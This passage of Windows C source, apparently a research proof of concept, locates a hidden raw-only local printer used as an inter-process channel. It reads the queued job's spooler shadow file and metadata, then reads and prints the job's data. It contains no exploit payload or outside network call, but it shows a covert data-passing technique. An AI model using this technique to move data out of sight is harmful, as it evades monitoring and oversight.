76 | if ((currentInfo->Attributes & (PRINTER_ATTRIBUTE_HIDDEN |
77 | PRINTER_ATTRIBUTE_RAW_ONLY |
78 | PRINTER_ATTRIBUTE_LOCAL)) ==
79 | (PRINTER_ATTRIBUTE_HIDDEN |
80 | PRINTER_ATTRIBUTE_RAW_ONLY |
81 | PRINTER_ATTRIBUTE_LOCAL))
82 | {
83 | //
84 | // We found it!
85 | //
86 | printf("[+] Found IPC Printer: %S (status = %lx)\n",
87 | currentInfo->pPrinterName, currentInfo->Attributes);
88 | printerName = currentInfo->pPrinterName;
89 | break;
90 | }
91 | currentInfo++;
92 | }
93 |
94 | //
95 | // Check if we found our printer
96 | //
97 | if (printerName == NULL)
98 | {
99 | printf("[-] Couldn't find IPC printer!\n");
100 | return -1;
101 | }
102 |
103 | //
104 | // We did, go open it, and then free the name/info structure
105 | //
106 | printerDefaults.pDatatype = NULL;
107 | printerDefaults.pDevMode = NULL;
108 | printerDefaults.DesiredAccess = PRINTER_ALL_ACCESS;
109 | bRes = OpenPrinter(printerName, &hPrinter, &printerDefaults);
110 | HeapFree(GetProcessHeap(), 0, printerInfo);
111 | if (bRes == FALSE)
112 | {
113 | printf("Failed to open printer: %lx\n", GetLastError());
114 | return -1;
115 | }
116 |
117 | //
118 | // Check how much space we needed for the printer information
119 | //
120 | bRes = GetPrinter(hPrinter, 2, NULL, 0, &dwNeeded);
121 | if (bRes != FALSE)
122 | {
123 | printf("Unexpected success querying printer\n");
124 | ClosePrinter(hPrinter);
125 | return -1;
126 | }
127 |
128 | //
129 | // Allocate it
130 | //
131 | printerFullInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNeeded);
132 | if (printerFullInfo == NULL)
133 | {
134 | printf("Out of memory\n");
135 | ClosePrinter(hPrinter);
136 | return -1;
137 | }
138 |
139 | //
140 | // Now query it
141 | //
142 | bRes = GetPrinter(hPrinter,
143 | 2,
144 | (LPBYTE)printerFullInfo,
145 | dwNeeded,
146 | &dwNeeded);
147 | if (bRes == FALSE)
148 | {
149 | printf("Failed to query printer: %lx\n", GetLastError());
150 | HeapFree(GetProcessHeap(), 0, printerFullInfo);
151 | ClosePrinter(hPrinter);
152 | return -1;
153 | }
154 |
155 | //
156 | // Make sure someone published some data to it
157 | //
158 | if (printerFullInfo->cJobs != 1)
159 | {
160 | printf("Printer doesn't have an active job: %lx\n", printerFullInfo->cJobs);
161 | HeapFree(GetProcessHeap(), 0, printerFullInfo);
162 | ClosePrinter(hPrinter);
163 | return -1;
164 | }
165 |
166 | //
167 | // Enumerate the first (and only) job -- see how much space is needed for it
168 | //
169 | HeapFree(GetProcessHeap(), 0, printerFullInfo);
170 | bRes = EnumJobs(hPrinter, 0, 1, 4, NULL, 0, &dwNeeded, &dwReturned);
171 | if ((bRes != FALSE) && (dwReturned != 0))
172 | {
173 | printf("Failed to enumerate jobs: %lx\n", GetLastError());
174 | ClosePrinter(hPrinter);
175 | return -1;
176 | }
177 | else if (dwNeeded == 0)
178 | {
179 | printf("[-] No printer job active!\n");
180 | ClosePrinter(hPrinter);
181 | return -1;
182 | }
183 |
184 | //
185 | // Allocate space for it
186 | //
187 | jobInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNeeded);
188 | if (jobInfo == NULL)
189 | {
190 | printf("Out of memory\n");
191 | ClosePrinter(hPrinter);
192 | return -1;
193 | }
194 |
195 | //
196 | // Now enumerate information on this job
197 | //
198 | bRes = EnumJobs(hPrinter,
199 | 0,
200 | 1,
201 | 4,
202 | (LPBYTE)jobInfo,
203 | dwNeeded,
204 | &dwNeeded,
205 | &dwReturned);
206 | if (bRes == FALSE)
207 | {
208 | printf("Error enumerating job: %lx\n", GetLastError());
209 | HeapFree(GetProcessHeap(), 0, jobInfo);
210 | ClosePrinter(hPrinter);
211 | return -1;
212 | }
213 |
214 | //
215 | // Print some information on the job based on the API
216 | //
217 | printf("[+] Found IPC Job\n");
218 | printf("[.]\tJob ID: %d\n", jobInfo->JobId);
219 | printf("[.]\tQueued by: %S on %S\n",
220 | jobInfo->pUserName, jobInfo->pMachineName);
221 | printf("[.]\tSD: %p\n", jobInfo->pSecurityDescriptor);
222 | printf("[.]\tDocument Name: %S and type: %S\n",
223 | jobInfo->pDocument, jobInfo->pDatatype);
224 | printf("[.]\tJob Status: %lx (%S)\n",
225 | jobInfo->Status, jobInfo->pStatus);
226 | printf("[.]\tPriority: %d Position: %d\n",
227 | jobInfo->Priority, jobInfo->Position);
228 | printf("[.]\tData Size: %lld bytes (%d pages total, %d printed so far)\n",
229 | (DWORD64)jobInfo->SizeHigh << 32ULL | jobInfo->Size,
230 | jobInfo->TotalPages, jobInfo->PagesPrinted);
231 | printf("[.]\tTime: %d Start Time: %d End Time: %d\n",
232 | jobInfo->Time, jobInfo->StartTime, jobInfo->UntilTime);
233 | printf("[.]\tSubmitted on %d/%d/%d at %d:%d:%d.%d\n",
234 | jobInfo->Submitted.wMonth, jobInfo->Submitted.wDay, jobInfo->Submitted.wYear,
235 | jobInfo->Submitted.wHour, jobInfo->Submitted.wMinute, jobInfo->Submitted.wSecond,
236 | jobInfo->Submitted.wMilliseconds);
237 |
238 | //
239 | // Get the spooler directory
240 | //
241 | dwError = GetPrinterData(hPrinter,
242 | SPLREG_DEFAULT_SPOOL_DIRECTORY,
243 | NULL,
244 | (LPBYTE)spoolDir,
245 | sizeof(spoolDir),
246 | &dwNeeded);
247 | if (dwError != ERROR_SUCCESS)
248 | {
249 | printf("Failed getting spooler directory: %lx\n", GetLastError());
250 | HeapFree(GetProcessHeap(), 0, jobInfo);
251 | ClosePrinter(hPrinter);
252 | return -1;
253 | }
254 |
255 | //
256 | // Done with the printer
257 | //
258 | ClosePrinter(hPrinter);
259 |
260 | //
261 | // Open the shadow file based on the expected name
262 | //
263 | HANDLE hShadowFile;
264 | WCHAR shadowFileName[MAX_PATH];
265 | wsprintf(shadowFileName, L"%s\\%05d.SHD", spoolDir, jobInfo->JobId);
266 | printf("[.] Opening %S\n", shadowFileName);
267 | hShadowFile = CreateFile(shadowFileName,
268 | GENERIC_READ,
269 | 0,
270 | NULL,
271 | OPEN_EXISTING,
272 | FILE_ATTRIBUTE_NORMAL,
273 | NULL);
274 | if (hShadowFile == INVALID_HANDLE_VALUE)
275 | {
276 | printf("[-] Couldn't find shadow file (it can have any name it wants): %lx\n",
277 | GetLastError());
278 | HeapFree(GetProcessHeap(), 0, jobInfo);
279 | ClosePrinter(hPrinter);
280 | return -1;
281 | }
282 |
283 | //
284 | // Read the shadow file
285 | //
286 | bRes = ReadFile(hShadowFile,
287 | &shadowFileData,
288 | sizeof(shadowFileData),
289 | &dwReturned,
290 | NULL);
291 | if ((bRes == FALSE) || (dwReturned != sizeof(shadowFileData)))
292 | {
293 | printf("[-] Error reading shadow file: %lx\n", GetLastError());
294 | HeapFree(GetProcessHeap(), 0, jobInfo);
295 | CloseHandle(hShadowFile);
296 | ClosePrinter(hPrinter);
297 | return -1;
298 | }
299 |
300 | //
301 | // We only support Version 4
302 | //
303 | if ((shadowFileData.Version != SF_VERSION_4) ||
304 | (shadowFileData.HeaderSize != sizeof(shadowFileData)) ||
305 | (shadowFileData.signature != SF_SIGNATURE_4))
306 | {
307 | printf("[-] Unrecognized shadow file format\n");
308 | HeapFree(GetProcessHeap(), 0, jobInfo);
309 | CloseHandle(hShadowFile);
310 | return -1;
311 | }
312 |
313 | //
314 | // Make sure it's for this job
315 | //
316 | if (shadowFileData.JobId != jobInfo->JobId)
317 | {
318 | printf("[-] Job ID mismatch: %d\n", shadowFileData.JobId);
319 | HeapFree(GetProcessHeap(), 0, jobInfo);
320 | CloseHandle(hShadowFile);
321 | return -1;
322 | }
323 |
324 | //
325 | // Get the size of the shadow spool file
326 | //
327 | dwNeeded = GetFileSize(hShadowFile, NULL);
328 | if (dwNeeded == 0)
329 | {
330 | printf("Error getting file size: %lx\n", GetLastError());
331 | HeapFree(GetProcessHeap(), 0, jobInfo);
332 | CloseHandle(hShadowFile);
333 | return -1;
334 | }
335 |
336 | //
337 | // Allocate data for it
338 | //
339 | pShadowFileData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNeeded);
340 | if (pShadowFileData == NULL)
341 | {
342 | printf("Out of memory\n");
343 | HeapFree(GetProcessHeap(), 0, jobInfo);
344 | CloseHandle(hShadowFile);
345 | return -1;
346 | }
347 |
348 | //
349 | // Go back to the start
350 | //
351 | SetFilePointer(hShadowFile, 0, NULL, SEEK_SET);
352 |
353 | //
354 | // Read the full file this time around
355 | //
356 | bRes = ReadFile(hShadowFile,
357 | pShadowFileData,
358 | dwNeeded,
359 | &dwReturned,
360 | NULL);
361 | if ((bRes == FALSE) || (dwReturned != dwNeeded))
362 | {
363 | printf("[-] Error reading shadow file: %lx\n", GetLastError());
364 | HeapFree(GetProcessHeap(), 0, jobInfo);
365 | CloseHandle(hShadowFile);
366 | return -1;
367 | }
368 |
369 | //
370 | // We no longer need the shadow file
371 | //
372 | CloseHandle(hShadowFile);
373 |
374 | //
375 | // Print the data from the shadow file
376 | //
377 | printf("[+] Found Shadow File Job\n");
378 | printf("[.]\tJob ID: %d\n", pShadowFileData->JobId);
379 | printf("[.]\tQueued by: %S on %S\n",
380 | (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pUser),
381 | (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pMachineName));
382 | printf("[.]\tSD: %p\n", (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pSecurityDescriptor));
383 | printf("[.]\tDocument Name: %S and type: %S\n",
384 | (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pDocument),
385 | (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pDatatype));
386 | printf("[.]\tJob Status: %lx\n",
387 | pShadowFileData->Status);
388 | printf("[.]\tPriority: %d\n",
389 | pShadowFileData->Priority);
390 | printf("[.]\tData Size: %lld bytes (%d pages total)\n",
391 | (DWORD64)pShadowFileData->SizeHigh << 32ULL | pShadowFileData->Size,
392 | pShadowFileData->cPages);
393 | printf("[.]\tStart Time: %d End Time: %d\n",
394 | pShadowFileData->StartTime, pShadowFileData->UntilTime);
395 | printf("[.]\tSubmitted on %d/%d/%d at %d:%d:%d.%d\n",
396 | pShadowFileData->Submitted.wMonth, pShadowFileData->Submitted.wDay, pShadowFileData->Submitted.wYear,
397 | pShadowFileData->Submitted.wHour, pShadowFileData->Submitted.wMinute, pShadowFileData->Submitted.wSecond,
398 | pShadowFileData->Submitted.wMilliseconds);
399 |
400 | //
401 | // Open the print job
402 | //
403 | wsprintf(jobName, L"%s,Job %d", jobInfo->pPrinterName, jobInfo->JobId);
404 | bRes = OpenPrinter(jobName, &hJob, NULL);
405 | if (bRes == FALSE)
406 | {
407 | printf("Failed to open printer job: %lx\n", GetLastError());
408 | return -1;
409 | }
410 |
411 | //
412 | // Allocate space for the printer data
413 | //
414 | printerData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, jobInfo->Size);
415 | if (printerData == NULL)
416 | {
417 | printf("Out of memory\n");
418 | HeapFree(GetProcessHeap(), 0, jobInfo);
419 | ClosePrinter(hJob);
420 | return -1;
421 | }
422 |
423 | //
424 | // Read printer data
425 | //
426 | printf("[.] Reading %d bytes of data from printer\n", jobInfo->Size);
427 | bRes = ReadPrinter(hJob, printerData, jobInfo->Size, &dwNeeded);
428 | if (bRes == FALSE)
429 | {
430 | printf("Failed to read printer data: %lx\n", GetLastError());
431 | HeapFree(GetProcessHeap(), 0, printerData);
432 | HeapFree(GetProcessHeap(), 0, jobInfo);
433 | ClosePrinter(hJob);
434 | return -1;
435 | }
436 |
437 | //
438 | // Print it out (assume it's a string)
439 | //
440 | printf("[+] Printer Data: %s\n", printerData);
441 |
442 | //
443 | // All done here
444 | //
445 | HeapFree(GetProcessHeap(), 0, printerData);
446 | HeapFree(GetProcessHeap(), 0, jobInfo);
447 | ClosePrinter(hJob);
448 | return 0;
449 | }
450 |
451 |
--------------------------------------------------------------------------------